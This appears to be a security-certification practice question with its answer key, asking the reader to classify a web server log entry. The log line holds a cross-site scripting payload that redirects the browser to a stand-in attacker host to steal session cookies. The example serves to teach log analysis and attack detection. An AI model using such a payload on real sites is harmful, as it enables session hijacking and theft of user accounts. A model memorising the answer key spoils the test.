HTTP/1.1\" 200 452` Whi","text":"A security technician inspecting web server access logs in a SIEM dashboard analyzes the following log entry: `192.168.10.45 - - [27/Jul/2026:14:15:22 +0000] \"GET /comment.php?user_input= HTTP/1.1\" 200 452` Whi","inLanguage":"en","acceptedAnswer":{"@type":"Answer","text":"Cross-Site Scripting (XSS) attack","answerExplanation":{"@type":"Comment","text":"The log snippet demonstrates a Cross-Site Scripting (XSS) attack. The correct answer is Cross-Site Scripting (XSS) attack because the HTTP GET request contains explicit `

A security technician inspecting web server access logs in a SIEM dashboard analyzes the following log entry:

`192.168.10.45 - - [27/Jul/2026:14:15:22 +0000] "GET /comment.php?user_input=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> HTTP/1.1" 200 452`

Which of the following security events is demonstrated in this log snippet?

1. Cross-Site Scripting (XSS) attackAnswer
2. B
   SQL injection attack targeting the backend database
3. C
   Unauthorized authentication bypass attempt
4. D
   Deterrent security control misconfiguration event

Answer

The log snippet demonstrates a Cross-Site Scripting (XSS) attack.

The correct answer is Cross-Site Scripting (XSS) attack because the HTTP GET request contains explicit `<script>` tags designed to execute client-side JavaScript code in a user's web browser to exfiltrate session cookies.

Step-by-Step Solution

1

Examine the HTTP request payload inside the log entry.

Identified client-side code: `<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>`.

Log analysis requires inspecting URL parameters for malicious patterns.

2

Classify the attack vector based on the payload structure.

The payload uses HTML/JavaScript tags (`<script>`) intended to execute in a victim's browser and steal cookie data.

Attacks injecting client-side scripts to run in the victim's browser session are categorized as Cross-Site Scripting.

Key Concept

Identifying Cross-Site Scripting (XSS) in Web Server Logs

Common Mistakes

Estimated Time:45s